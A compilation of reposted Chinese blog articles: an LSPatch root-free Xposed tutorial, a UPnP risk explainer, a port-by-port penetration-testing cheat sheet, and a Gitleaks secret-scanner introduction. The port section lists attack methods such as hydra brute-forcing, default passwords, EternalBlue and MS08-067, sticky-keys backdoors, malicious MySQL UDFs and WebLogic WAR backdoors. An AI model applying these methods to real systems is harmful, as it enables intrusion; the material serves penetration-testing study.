lspatch及其类似物使用教程

lspatch及其类似物使用教程

本文转自 Chen 并作补充

首先我们要了解lspatch是什么

lspatch是一款基于Android的免root框架,由LSPosed框架的开发者推出。它允许用户在不解锁Bootloader(简称bl锁)或获取Root权限的情况下,将Xposed模块内置到App中,从而实现在Android设备上添加新功能、修改系统设置或改变系统外观等个性化操作。

lspatch兼容大部分Android设备,特别是支持Android 9及其以上版本。它采用从应用内部修改的方案,而传统的Xposed方案则是从外部借助root权限修改。

特点与优势

lspatch解决了非ROOT设备无法使用模块的痛点,无需解锁BL或获取Root权限,即可使用Xposed模块。它提供了与原版Xposed相同的API,使用YAHFA(或SandHook)进行hook,保证了功能的稳定性和兼容性。lspatch的使用相对简单,即使对于手机操作新手来说,也能轻松上手。

缺陷与不足

由于lspatch实现Xposed功能是基于修改应用安装包实现的,因此,在安装包出现改动后,安装包的签名会发生变化。这会导致一些对签名验证非常严格的应用无法识别到修补后的应用,会对应用本身的使用体验造成极大的影响(例如提示签名与开放平台不一致,导致无法调用微信,对于没有root的机器来说无解)。应用也无法通过应用商店正常更新,无论是更新Xposed模块(ps:本地模式不用)还是更新应用版本,都需要到lspatch内对新版安装包重新修补。

此外,并不是所有的应用都能够进行修补,例如一些被企业数字加固过的安装包在修补过后会出现闪退等现象。对于不同的修补方式,不同的应用也会存在一些兼容性上的问题,导致某些模块无法正常工作或产生不可预期的行为,存在一定的局限性。

最后,lspatch只能使用作用域是应用本身的模块,一些作用域是系统本身的模块是无法使用的,因此玩机资源相较于LSPosed会少很多,部分开发者也对免root框架感到不满(出于防止倒卖以及开发考虑的目的),可能会在功能使用上进行较大的限制。

修补方式的区别

本地模式:模块作用域可以动态更改,用户可以随时更改生效的模块。在仅更新模块时不需要再走一遍修补流程,直接升级模块即可(更新完模块记得重启一下应用)(更新应用依然要重新修补)。但经修补的应用需要lspatch管理器保持后台运行才能正常启动。这意味着用户需要始终确保lspatch在后台运行,否则修补后的应用会出现闪退等情况,无法正常工作。

便携模式:经修补的应用可以在没有管理器的情况下运行(可以不用把lspatch锁后台),修补后的成品安装包也可以直接分享出去,接收者无需进行任何操作就可以使用(网上各种定制包的由来)。但Xposed作用域不能动态管理配置。无论是更新模块还是更新应用都要到lspatch内重新走一遍修补流程。这限制了用户在使用过程中的灵活性和定制性。在目前的大环境下,一些模块并不支持便携/内置模式(被开发者抵制),功能限制更多。

在签名一致的情况下,本地模式可以与便携模式互相转化。

目前主流的版本

lspatch:原版,由由LSPosed框架的开发者推出,现已归档停更。快捷安装功能依赖shizuku。

npatch:lspatch的改版,有第三方作者对其进行维护,与原版区别不是很大,但不大好用。

opatch:lspatch的魔改版本,对原版进行了优化,解决了原版lspatch需要锁后台以保证前台应用正常运行的缺陷(无需锁后台),且脱离了对shizuku的依赖,是目前免root框架最常用的版本。唯一的缺点是启动opatch时会有“原神”的启动动画,对于一些反感原神的用户不太友好。

onpatch:opatch的修改版本,在保留opatch的所有功能特性的基础上,仅去除了“原神”的启动动画,对一些内容也进行了微调。

实机演示

以下演示版本为onpatch,演示应用为微博,Xposed模块为微博猪手

image

onpatch主界面

image

onpatch设置页面(详细注入日志可以关掉)

image

onpatch管理页(应用)

在授权读取应用列表后就可以看到我们目前能被lsp识别到的应用

image

onpatch管理页(模块)

在这里可以看到我们设备上已经安装的模块

image

我们在应用管理页点击右下角的加号,在“选择存储目录”中点击“确定”。

这一步是用来确认我们修补之后的应用安装包会保存在系统的哪个位置

我们在文件管理器中选择一个用于存放修补后安装包的文件夹

image

再次回到应用管理页,点击右下角的加号

如果你的设备还没有安装这个应用,或者是打算更新已修补的应用,就选择第一个选项,在手机存储目录里找到你要使用的安装包。

如果你的设备已经安装了这个应用的原版(注意不是修补版本,因为不能二次修补),那么则选择第二个选项,在提供的应用列表里选择这个应用即可。

image

image

进入此页面后,我们可以调整修补设置。例如“注入文件提供者”推荐打开(配合MT管理器使用),“输出日志到目录”推荐关闭(如果没有反馈需求的话),覆写版本号按需打开(因为部分应用和模块对版本号有强制要求,除非有降级需求不然一般不开,开了之后应用商店会一直提示更新容易逼死强迫症)

本地模式与便携模式的区别在上文有说

image

本地模式下直接点击“开始注入”,此时会输出一个签名不一样的安装包

image

如图,如果我们一开始已经安装了原版应用,就需要卸载原版应用重新安装修补后的安装包。注意备份重要数据。

(如果有核心破解可以忽略,不过都核心破解了谁还用patch)

image

我们回到应用管理页面,可以看到多了一个应用(显示为“本地加载器模式”,“7”代表修补时lspatch的版本,如果后续lspatch更新的话会出现“优化”选项,点击“优化”就可以同步lspatch的版本),点击刚刚安装的应用,选择“模块作用域”

image

在弹出的模块页面里勾选我们需要使用的Xposed模块,勾选后点击右下角的“✔”

image

此时我们在应用设置页面强制停止这个应用,并清理应用缓存(防止出现兼容性问题导致闪退)。完成后进入该应用的设置页面,可以看到模块已成功生效。(一般模块的入口都会在设置页)

image

如果你选择的是便携模式(内置模式),那么点击“嵌入模块”

image

如果你的模块没有安装,或者想直接打包更高版本的模块,就选择第一个,找到你需要嵌入的Xposed模块安装包

如果你已经安装了模块,那么就选择第二个,在弹出的模块列表里勾选你需要注入的模块,勾选后点击右下角的“✔”,点击“开始注入”

image

安装后就可以看到刚刚安装的应用显示的是“内置模式”,不可对其进行本地模式的操作

内容大致就是这些,上文涉及到的 lsp 加载器以及模块可以直接在网上搜,绝大部分都能在爱玩机工具箱、酷安、GitHub 等平台上找到。

简单提供一些下载链接

lsp加载器下载链接

爱玩机工具箱

酷安

希望各位能养成爱动手,善查询,会提问的好习惯!

image

什么是 UPnP?这就是为什么您应该在路由器上禁用它的原因

什么是 UPnP?这就是为什么您应该在路由器上禁用它的原因

本文转自 Windows社区 并作补充

如果您仔细查看过路由器的设置,您可能会发现一种名为“UPnP”的东西。虽然 UPnP 背后的技术旨在让您的生活变得更加方便,但网络犯罪分子可以利用它来攻击您的设备。那么,让我们探讨一下什么是 UPnP 以及为什么应该禁用它。

什么是 UPnP?

UPnP 代表“通用即插即用”。就其本身而言,它不是恶意服务——它的发明是为了让您的生活更轻松。

UPnP 允许本地网络上通过路由器连接的设备相互查找。例如,如果您购买了一台通过 Wi-Fi 运行的全新打印机,您将希望您的设备(例如计算机和手机)能够“看到”它并向其发送打印作业。

如果没有 UPnP,您需要通过其 IP 地址手动告知每个设备您的打印机在网络上的位置。但是,UPnP 允许打印机向所有其他设备广播其存在,以便它们可以“看到”它并使用它进行打印。此外,您的设备会自动处理端口和通信,从而允许最少的用户交互来进行设置。

为什么 UPnP 存在安全风险?

不幸的是,虽然 UPnP 使您的设备更容易找到彼此,但它也为恶意软件和不良行为者访问您的网络打开了大门。

例如,采用专为远程访问而设计的室内摄像机。如果该摄像头的安全性很差,并且允许外部任何人使用 WAN 上的 UPnP(广域网 - 进入您家的互联网)访问它,则黑客可能会跳入并监视内部发生的情况。如果他们知道摄像头中的房子在哪里,他们就可以利用这些信息来了解房主何时外出并实施入室盗窃。或者只是观察您的日常活动。

此外,如果网络上的设备感染了恶意软件,病毒可以检查它是否可以跳转到网络上的其他设备。如果启用了 UPnP,恶意软件可以使用这些开放通道跳转到更多计算机并在您的本地网络中传播。

通过 UPnP 进行攻击有多现实?

这听起来可能很可怕,但您遇到 UPnP 攻击的可能性有多大?

如果您的路由器性能良好,它不会支持 WAN 上的 UPnP,这就排除了黑客使用该技术进行远程攻击的可能性。您更容易受到 LAN(局域网 - 您家中的本地网络)的攻击,其中一台设备被感染并在整个网络中传播。

但是,如果您确保设备免受恶意软件的侵害、安全地浏览并安装最好的防病毒程序之一,那么您很有可能相信您的设备不会传播病毒。如果您想确定,可以在路由器上禁用 UPnP。

如果禁用 UPnP 会发生什么?

如果禁用 UPnP,您的路由器将不再自动管理连接到路由器的每个设备的端口。这意味着您需要手动端口转发才能让它们相互通信。

因此,您需要做出决定。您是否更喜欢 UPnP 的便利性,它可以让您轻松地将设备连接到 LAN?或者您是否担心有人利用这些渠道造成损害并窃取数据?如果您喜欢方便,请坚持使用 UPnP 并确保您的设备安全;如果您更喜欢安全性,请手动处理端口转发,这样它们就不会被利用。

如何禁用 UPnP?

如果您决定取消 UPnP,则需要访问路由器。您会经常这样做,因为每次需要转发新端口时(即将新设备连接到网络时),您都需要重新访问它。

我们在保护路由器安全的简单提示中介绍了禁用 UPnP,因此如果您想最大限度地提高路由器的安全性,请务必检查一下。

UPnP 是一项有用的功能,但网络犯罪分子可以利用它。虽然您可以禁用它并执行手动端口转发,但由于良好的浏览习惯和可靠的安全性,有些人可能永远不会遇到 UPnP 的攻击。因此,在决定是否启用 UPnP 时,值得权衡这两个论点。

常见高危端口

常见高危端口

本文转自 blacksunny 并作补充

端口 服务 渗透测试
tcp 20,21 FTP(文件传输协议) 允许匿名的上传下载,爆破,嗅探,win提权,远程执行(proftpd 1.3.5),各类后门(proftpd,vsftp 2.3.4)
tcp 22 SSH (安全外壳协议 ) 可根据已搜集到的信息尝试爆破,v1版本可中间人,ssh隧道及内网代理转发,文件传输等等
tcp 23 Telnet ( 远程终端协议) 爆破,嗅探,一般常用于路由,交换登陆,可尝试弱口令
tcp 25 SMTP(简单邮件传输协议) 邮件伪造,vrfy/expn查询邮件用户信息,可使用smtp-user-enum工具来自动跑
tcp/udp 53 DNS(域名系统) 允许区域传送,dns劫持,缓存投毒,欺骗以及各种基于dns隧道的远控
tcp/udp 69 TFTP (简单文件传送协议 ) 尝试下载目标及其的各类重要配置文件
tcp 80-89,443,8440-8450,8080-8089 各种常用的Web服务端口 可尝试经典的topn,vpn,owa,webmail,目标oa,各类Java控制台,各类服务器Web管理面板,各类Web中间件漏洞利用,各类Web框架漏洞利用等等……
tcp 110 POP3(邮局协议版本3 ) 可尝试爆破,嗅探
tcp 111,2049 NFS(网络文件系统) 权限配置不当
tcp 137,139,445 SMB(NETBIOS协议) 可尝试爆破以及smb自身的各种远程执行类漏洞利用,如,ms08-067,ms17-010,嗅探等……
tcp 143 IMAP(邮件访问协议) 可尝试爆破
udp 161 SNMP(简单网络管理协议) 爆破默认团队字符串,搜集目标内网信息
tcp 389 LDAP( 轻量目录访问协议 ) ldap注入,允许匿名访问,弱口令
tcp 512,513,514 Linux rexec (远程登录) 可爆破,rlogin登陆
tcp 873 Rsync (数据镜像备份工具) 匿名访问,文件上传
tcp 1194 OpenVPN(虚拟专用通道) 想办法钓VPN账号,进内网
tcp 1352 Lotus(Lotus软件) 弱口令,信息泄漏,爆破
tcp 1433 SQL Server(数据库管理系统) 注入,提权,sa弱口令,爆破
tcp 1521 Oracle(甲骨文数据库) tns爆破,注入,弹shell…
tcp 1500 ISPmanager( 主机控制面板) 弱口令
tcp 1723 PPTP(点对点隧道协议 ) 爆破,想办法钓VPN账号,进内网
tcp 2082,2083 cPanel (虚拟机控制系统 ) 弱口令
tcp 2181 ZooKeeper(分布式系统的可靠协调系统 ) 未授权访问
tcp 2601,2604 Zebra (zebra路由) 默认密码zerbra
tcp 3128 Squid (代理缓存服务器) 弱口令
tcp 3312,3311 kangle(web服务器) 弱口令
tcp 3306 MySQL(数据库) 注入,提权,爆破
tcp 3389 Windows rdp(桌面协议) shift后门[需要03以下的系统],爆破,ms12-020
tcp 3690 SVN(开放源代码的版本控制系统) svn泄露,未授权访问
tcp 4848 GlassFish(应用服务器) 弱口令
tcp 5000 Sybase/DB2(数据库) 爆破,注入
tcp 5432 PostgreSQL(数据库) 爆破,注入,弱口令
tcp 5900,5901,5902 VNC(虚拟网络控制台,远控) 弱口令爆破
tcp 5984 CouchDB(数据库) 未授权导致的任意指令执行
tcp 6379 Redis(数据库) 可尝试未授权访问,弱口令爆破
tcp 7001,7002 WebLogic(WEB应用系统) Java反序列化,弱口令
tcp 7778 Kloxo(虚拟主机管理系统) 主机面板登录
tcp 8000 Ajenti(Linux服务器管理面板) 弱口令
tcp 8443 Plesk(虚拟主机管理面板) 弱口令
tcp 8069 Zabbix (系统网络监视) 远程执行,SQL注入
tcp 8080-8089 Jenkins,JBoss (应用服务器) 反序列化,控制台弱口令
tcp 9080-9081,9090 WebSphere(应用服务器) Java反序列化/弱口令
tcp 9200,9300 ElasticSearch (Lucene的搜索服务器) 远程执行
tcp 11211 Memcached(缓存系统) 未授权访问
tcp 27017,27018 MongoDB(数据库) 爆破,未授权访问
TCP 50000tcp 50070,50030 SAP Managenment ConsoleHadoop(分布式文件系统) 远程执行默认端口未授权访问

22端口渗透剖析

SSH 是协议,通常使用 OpenSSH 软件实现协议应用。SSH 为 Secure Shell 的缩写,由 IETF 的网络工作小组(Network Working Group)所制定;SSH 为建立在应用层和传输层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其它网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。

1
2
3
4
(1)弱口令,可使用工具hydra,msf中的ssh爆破模块。
(2)防火墙SSH后门。(https://www.secpulse.com/archives/69093.html)
(3)28退格 OpenSSL
(4)openssh 用户枚举 CVE-2018-15473。(https://www.anquanke.com/post/id/157607)

23端口渗透剖析

telnet是一种旧的远程管理方式,使用telnet工具登录系统过程中,网络上传输的用户和密码都是以明文方式传送的,黑客可使用嗅探技术截获到此类密码。

1
2
(1)暴力破解技术是常用的技术,使用hydra,或者msf中telnet模块对其进行破解。
(2)在linux系统中一般采用SSH进行远程访问,传输的敏感数据都是经过加密的。而对于windows下的telnet来说是脆弱的,因为默认没有经过任何加密就在网络中进行传输。使用cain等嗅探工具可轻松截获远程登录密码。

25/465端口渗透剖析

smtp:邮件协议,在linux中默认开启这个服务,可以向对方发送钓鱼邮件

1
2
3
默认端口:25(smtp)、465(smtps)
(1)爆破:弱口令
(2)未授权访问

53端口渗透剖析

53端口是DNS域名服务器的通信端口,通常用于域名解析。也是网络中非常关键的服务器之一。这类服务器容易受到攻击。对于此端口的渗透,一般有三种方式。

1
2
3
(1)使用DNS远程溢出漏洞直接对其主机进行溢出攻击,成功后可直接获得系统权限。(https://www.seebug.org/vuldb/ssvid-96718)
(2)使用DNS欺骗攻击,可对DNS域名服务器进行欺骗,如果黑客再配合网页木马进行挂马攻击,无疑是一种杀伤力很强的攻击,黑客可不费吹灰之力就控制内网的大部分主机。这也是内网渗透惯用的技法之一。(https://baijiahao.baidu.com/s?id=1577362432987749706&wfr=spider&for=pc)
(3)拒绝服务攻击,利用拒绝服务攻击可快速的导致目标服务器运行缓慢,甚至网络瘫痪。如果使用拒绝服务攻击其DNS服务器。将导致用该服务器进行域名解析的用户无法正常上网。(http://www.edu.cn/xxh/fei/zxz/201503/t20150305_1235269.shtml)(4)DNS劫持。(https://blog.csdn.net/qq_32447301/article/details/77542474)

80端口渗透剖析

80端口通常提供web服务。目前黑客对80端口的攻击典型是采用SQL注入的攻击方法,脚本渗透技术也是一项综合性极高的web渗透技术,同时脚本渗透技术对80端口也构成严重的威胁。

1
2
3
4
5
6
7
(1)对于windows2000的IIS5.0版本,黑客使用远程溢出直接对远程主机进行溢出攻击,成功后直接获得系统权限。
(2)对于windows2000中IIS5.0版本,黑客也尝试利用‘Microsoft IISCGI’文件名错误解码漏洞攻击。使用X-SCAN可直接探测到IIS漏洞。
(3)IIS写权限漏洞是由于IIS配置不当造成的安全问题,攻击者可向存在此类漏洞的服务器上传恶意代码,比如上传脚本木马扩大控制权限。
(4)普通的http封包是没有经过加密就在网络中传输的,这样就可通过嗅探类工具截取到敏感的数据。如使用Cain工具完成此类渗透。
(5)80端口的攻击,更多的是采用脚本渗透技术,利用web应用程序的漏洞进行渗透是目前很流行的攻击方式。
(6)对于渗透只开放80端口的服务器来说,难度很大。利用端口复用工具可解决此类技术难题。
(7)CC攻击效果不及DDOS效果明显,但是对于攻击一些小型web站点还是比较有用的。CC攻击可使目标站点运行缓慢,页面无法打开,有时还会爆出web程序的绝对路径。

135端口渗透剖析

135端口主要用于使用RPC协议并提供DCOM服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。同时这个端口也爆出过不少漏洞,最严重的就是缓冲区溢出漏洞,曾经疯狂一时的‘冲击波’病毒就是利用这个漏洞进行传播的。对于135端口的渗透,黑客的渗透方法为:

1
2
(1)查找存在RPC溢出的主机,进行远程溢出攻击,直接获得系统权限。如用‘DSScan’扫描存在此漏洞的主机。对存在漏洞的主机可使用‘ms05011.exe’进行溢出,溢出成功后获得系统权限。(https://wenku.baidu.com/view/68b3340c79563c1ec5da710a.html)
(2)扫描存在弱口令的135主机,利用RPC远程过程调用开启telnet服务并登录telnet执行系统命令。系统弱口令的扫描一般使用hydra。对于telnet服务的开启可使用工具kali链接。(https://wenku.baidu.com/view/c8b96ae2700abb68a982fbdf.html)

139/445端口渗透剖析

139端口是为‘NetBIOS SessionService’提供的,主要用于提供windows文件和打印机共享以及UNIX中的Samba服务。445端口也用于提供windows文件和打印机共享,在内网环境中使用的很广泛。这两个端口同样属于重点攻击对象,139/445端口曾出现过许多严重级别的漏洞。下面剖析渗透此类端口的基本思路。

1
2
3
4
(1)对于开放139/445端口的主机,一般尝试利用溢出漏洞对远程主机进行溢出攻击,成功后直接获得系统权限。利用msf的ms-017永恒之蓝。(https://blog.csdn.net/qq_41880069/article/details/82908131)
(2)对于攻击只开放445端口的主机,黑客一般使用工具‘MS06040’或‘MS08067’.可使用专用的445端口扫描器进行扫描。NS08067溢出工具对windows2003系统的溢出十分有效,工具基本使用参数在cmd下会有提示。(https://blog.csdn.net/god_7z1/article/details/6773652)
(3)对于开放139/445端口的主机,黑客一般使用IPC$进行渗透。在没有使用特点的账户和密码进行空连接时,权限是最小的。获得系统特定账户和密码成为提升权限的关键了,比如获得administrator账户的口令。(https://blog.warhut.cn/dmbj/145.html)
(4)对于开放139/445端口的主机,可利用共享获取敏感信息,这也是内网渗透中收集信息的基本途径。

1433端口渗透剖析

1433是SQLServer默认的端口,SQL Server服务使用两个端口:tcp-1433、UDP-1434.其中1433用于供SQLServer对外提供服务,1434用于向请求者返回SQLServer使用了哪些TCP/IP端口。1433端口通常遭到黑客的攻击,而且攻击的方式层出不穷。最严重的莫过于远程溢出漏洞了,如由于SQL注射攻击的兴起,各类数据库时刻面临着安全威胁。利用SQL注射技术对数据库进行渗透是目前比较流行的攻击方式,此类技术属于脚本渗透技术。

1
2
3
4
(1)对于开放1433端口的SQL Server2000的数据库服务器,黑客尝试使用远程溢出漏洞对主机进行溢出测试,成功后直接获得系统权限。(https://blog.csdn.net/gxj022/article/details/4593015)
(2)暴力破解技术是一项经典的技术。一般破解的对象都是SA用户。通过字典破解的方式很快破解出SA的密码。(https://blog.csdn.net/kali_linux/article/details/50499576)
(3)嗅探技术同样能嗅探到SQL Server的登录密码。
(4)由于脚本程序编写的不严密,例如,程序员对参数过滤不严等,这都会造成严重的注射漏洞。通过SQL注射可间接性的对数据库服务器进行渗透,通过调用一些存储过程执行系统命令。可以使用SQL综合利用工具完成。

1521端口渗透剖析

1521是大型数据库Oracle的默认监听端口,估计新手还对此端口比较陌生,平时大家接触的比较多的是Access,MSSQL以及MYSQL这三种数据库。一般大型站点才会部署这种比较昂贵的数据库系统。对于渗透这种比较复杂的数据库系统,黑客的思路如下:

1
2
3
(1)Oracle拥有非常多的默认用户名和密码,为了获得数据库系统的访问权限,破解数据库系统用户以及密码是黑客必须攻破的一道安全防线。
(2)SQL注射同样对Oracle十分有效,通过注射可获得数据库的敏感信息,包括管理员密码等。
(3)在注入点直接创建java,执行系统命令。(4)https://www.leiphone.com/news/201711/JjzXFp46zEPMvJod.html

2049端口渗透剖析

NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。如今NFS具备了防止被利用导出文件夹的功能,但遗留系统中的NFS服务配置不当,则仍可能遭到恶意攻击者的利用。

1
未授权访问。(https://www.freebuf.com/articles/network/159468.html) (http://www.secist.com/archives/6192.htm)

3306端口渗透剖析

3306是MYSQL数据库默认的监听端口,通常部署在中型web系统中。在国内LAMP的配置是非常流行的,对于php+mysql构架的攻击也是属于比较热门的话题。mysql数据库允许用户使用自定义函数功能,这使得黑客可编写恶意的自定义函数对服务器进行渗透,最后取得服务器最高权限。对于3306端口的渗透,黑客的方法如下:

1
2
3
(1)由于管理者安全意识淡薄,通常管理密码设置过于简单,甚至为空口令。使用破解软件很容易破解此类密码,利用破解的密码登录远程mysql数据库,上传构造的恶意UDF自定义函数代码进行注册,通过调用注册的恶意函数执行系统命令。或者向web目录导出恶意的脚本程序,以控制整个web系统。
(2)功能强大的‘cain’同样支持对3306端口的嗅探,同时嗅探也是渗透思路的一种。
(3)SQL注入同样对mysql数据库威胁巨大,不仅可以获取数据库的敏感信息,还可使用load_file()函数读取系统的敏感配置文件或者从web数据库链接文件中获得root口令等,导出恶意代码到指定路径等。

3389端口渗透剖析

3389是windows远程桌面服务默认监听的端口,管理员通过远程桌面对服务器进行维护,这给管理工作带来的极大的方便。通常此端口也是黑客们较为感兴趣的端口之一,利用它可对远程服务器进行控制,而且不需要另外安装额外的软件,实现方法比较简单。当然这也是系统合法的服务,通常是不会被杀毒软件所查杀的。使用‘输入法漏洞’进行渗透。

1
2
3
4
(1)对于windows2000的旧系统版本,使用‘输入法漏洞’进行渗透。
(2)cain是一款超级的渗透工具,同样支持对3389端口的嗅探。
(3)Shift粘滞键后门:5次shift后门
(4)社会工程学通常是最可怕的攻击技术,如果管理者的一切习惯和规律被黑客摸透的话,那么他管理的网络系统会因为他的弱点被渗透。(5)爆破3389端口。这里还是推荐使用hydra爆破工具。(6)ms12_020死亡蓝屏攻击。(https://www.cnblogs.com/R-Hacker/p/9178066.html)(7)https://www.cnblogs.com/backlion/p/9429738.html

4899端口渗透剖析

4899端口是remoteadministrator远程控制软件默认监听的端口,也就是平时常说的radmini影子。radmini目前支持TCP/IP协议,应用十分广泛,在很多服务器上都会看到该款软件的影子。对于此软件的渗透,思路如下:

1
2
(1)radmini同样存在不少弱口令的主机,通过专用扫描器可探测到此类存在漏洞的主机。
(2)radmini远控的连接密码和端口都是写入到注册表系统中的,通过使用webshell注册表读取功能可读取radmini在注册表的各项键值内容,从而破解加密的密码散列。

5432端口渗透剖析

PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统,可以说是目前世界上最先进,功能最强大的自由数据库管理系统。包括kali系统中msf也使用这个数据库;浅谈postgresql数据库攻击技术 大部分关于它的攻击依旧是sql注入,所以注入才是数据库不变的话题。

1
2
(1)爆破:弱口令:postgres postgres
(2)缓冲区溢出:CVE-2014-2669。(http://drops.xmd5.com/static/drops/tips-6449.html)(3)远程代码执行:CVE-2018-1058。(https://www.secpulse.com/archives/69153.html)

5631端口渗透剖析

5631端口是著名远程控制软件pcanywhere的默认监听端口,同时也是世界领先的远程控制软件。利用此软件,用户可以有效管理计算机并快速解决技术支持问题。由于软件的设计缺陷,使得黑客可随意下载保存连接密码的*.cif文件,通过专用破解软件进行破解。这些操作都必须在拥有一定权限下才可完成,至少通过脚本渗透获得一个webshell。通常这些操作在黑客界被称为pcanywhere提权技术。

1
PcAnyWhere提权。(https://blog.csdn.net/Fly_hps/article/details/80377199)

5900端口渗透剖析

5900端口是优秀远程控制软件VNC的默认监听端口,此软件由著名的AT&T的欧洲研究实验室开发的。VNC是在基于unix和linux操作系统的免费的开放源码软件,远程控制能力强大,高效实用,其性能可以和windows和MAC中的任何一款控制软件媲美。对于该端口的渗透,思路如下:

1
2
3
(1)VNC软件存在密码验证绕过漏洞,此高危漏洞可以使得恶意攻击者不需要密码就可以登录到一个远程系统。
(2)cain同样支持对VNC的嗅探,同时支持端口修改。
(3)VNC的配置信息同样被写入注册表系统中,其中包括连接的密码和端口。利用webshell的注册表读取功能进行读取加密算法,然后破解。(4)VNC拒绝服务攻击(CVE-2015-5239)。(http://blogs.360.cn/post/vnc%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9Ecve-2015-5239%E5%88%86%E6%9E%90.html)(5)VNC权限提升(CVE-2013-6886)。

6379端口渗透剖析

Redis是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库。关于这个数据库这两年还是很火的,暴露出来的问题也很多。特别是前段时间暴露的未授权访问。

1
2
(1)爆破:弱口令
(2)未授权访问+配合ssh key提权。(http://www.alloyteam.com/2017/07/12910/)

7001/7002端口渗透剖析

7001/7002通常是weblogic中间件端口

1
2
3
4
5
(1)弱口令、爆破,弱密码一般为weblogic/Oracle@123 or weblogic
(2)管理后台部署 war 后门
(3)SSRF
(4)反序列化漏洞
(5)weblogic_uachttps://github.com/vulhub/vulhub/tree/master/weblogic/ssrfhttps://bbs.pediy.com/thread-224954.htmhttps://fuping.site/2017/06/05/Weblogic-Vulnerability-Verification/https://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html

8080端口渗透剖析

8080端口通常是apache_Tomcat服务器默认监听端口,apache是世界使用排名第一的web服务器。国内很多大型系统都是使用apache服务器,对于这种大型服务器的渗透,主要有以下方法:

1
2
3
4
5
6
(1)Tomcat远程代码执行漏洞(https://www.freebuf.com/column/159200.html)
(2)Tomcat任意文件上传。(http://liehu.tass.com.cn/archives/836)
(3)Tomcat远程代码执行&信息泄露。(https://paper.seebug.org/399/)
(4)Jboss远程代码执行。(http://mobile.www.cnblogs.com/Safe3/archive/2010/01/08/1642371.html)
(5)Jboss反序列化漏洞。(https://www.zybuluo.com/websec007/note/838374)
(6)Jboss漏洞利用。(https://blog.csdn.net/u011215939/article/details/79141624)

27017端口渗透剖析

MongoDB,NoSQL数据库;攻击方法与其他数据库类似

1
2
(1)爆破:弱口令
(2)未授权访问;(http://www.cnblogs.com/LittleHann/p/6252421.html)(3)http://www.tiejiang

gitleaks 扫描git存储库文件和目录中的敏感信息

gitleaks 扫描git存储库文件和目录中的敏感信息

本文转自 雨苁 并作补充

Gitleaks简介

Gitleaks 是一款 SAST 工具,用于检测防止git repos 中的密码、API 密钥和令牌等硬编码机密。Gitleaks 是一款易于使用的一体化解决方案,用于检测代码中过去或现在的机密。

Gitleaks 是一款开源秘密扫描器,用于扫描 git 存储库、文件和目录。Gitleaks 拥有超过 1600 万次 docker 下载、1.7 万个 GitHub 星标、900 万次 GitHub 下载、每周数千次克隆和超过 70 万次自制软件安装,是安全专家、企业和开发人员最信赖的开源秘密扫描器。Gitleaks 由 Zach Rice维护。

image

使用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
➜  ~/code(master) gitleaks git -v


│╲
│ ○
○ ░
░ gitleaks


Finding: "export BUNDLE_ENTERPRISE__CONTRIBSYS__COM=cafebabe:deadbeef",
Secret: cafebabe:deadbeef
RuleID: sidekiq-secret
Entropy: 2.609850
File: cmd/generate/config/rules/sidekiq.go
Line: 23
Commit: cd5226711335c68be1e720b318b7bc3135a30eb2
Author: John
Email: john@users.noreply.github.com
Date: 2022-08-03T12:31:40Z
Fingerprint: cd5226711335c68be1e720b318b7bc3135a30eb2:cmd/generate/config/rules/sidekiq.go:sidekiq-secret:23

入门

Gitleaks 可以使用 Homebrew、Docker 或 Go 安装。Gitleaks 还提供了适用于许多流行平台和操作系统类型的二进制版本,发布页面上提供。此外,Gitleaks 可以直接在您的存储库中作为预提交钩子实现,也可以使用Gitleaks-Action作为 GitHub 操作实现。

安装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# MacOS
brew install gitleaks

# Docker (DockerHub)
docker pull zricethezav/gitleaks:latest
docker run -v ${path_to_host_folder_to_scan}:/path zricethezav/gitleaks:latest [命令] [选项] [源路径]

# Docker (ghcr.io)
docker pull ghcr.io/gitleaks/gitleaks:latest
docker run -v ${path_to_host_folder_to_scan}:/path ghcr.io/gitleaks/gitleaks:latest [命令] [选项] [源路径]

# 从源码安装 (确保已安装 go)
git clone https://github.com/gitleaks/gitleaks.git
cd gitleaks
make build

GitHub action

查看官方Gitleaks GitHub Action

1
2
3
4
5
6
7
8
9
10
11
12
13
14
name: gitleaks
on: [pull_request, push, workflow_dispatch]
jobs:
scan:
name: gitleaks
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
fetch-depth: 0
- uses: gitleaks/gitleaks-action@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GITLEAKS_LICENSE: ${{ secrets.GITLEAKS_LICENSE}} # Only required for Organizations, not personal accounts.

Pre-Commit

  1. 从https://pre-commit.com/#install安装 precommit
  2. .pre-commit-config.yaml在存储库的根目录创建一个包含以下内容的文件:repos: - repo: https://github.com/gitleaks/gitleaks rev: v8.19.0 hooks: - id: gitleaks 用于本机执行 GitLeaks或使用gitleaks-docker预提交 ID通过官方 Docker 镜像执行 GitLeaks
  3. 通过执行自动更新配置到最新的版本pre-commit autoupdate
  4. 安装pre-commit install
  5. 现在您已经一切就绪!
1
2
➜ git commit -m "this commit contains a secret"
Detect hardcoded secrets.................................................Failed

注意:要禁用 gitleaks 预提交钩子,你可以SKIP=gitleaks在提交命令前面添加,这样它就会跳过运行 gitleaks

1
2
➜ SKIP=gitleaks git commit -m "skip gitleaks check"
Detect hardcoded secrets................................................Skipped

用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
用法:
gitleaks [命令]

可用命令:
completion 为指定的 shell 生成自动补全脚本
dir 扫描目录或文件中的敏感信息
git 扫描 Git 仓库中的敏感信息
help 查看任意命令的帮助
stdin 从标准输入中检测敏感信息
version 显示 gitleaks 版本

选项:
-b, --baseline-path string 忽略某些问题的基准文件路径
-c, --config string 配置文件路径
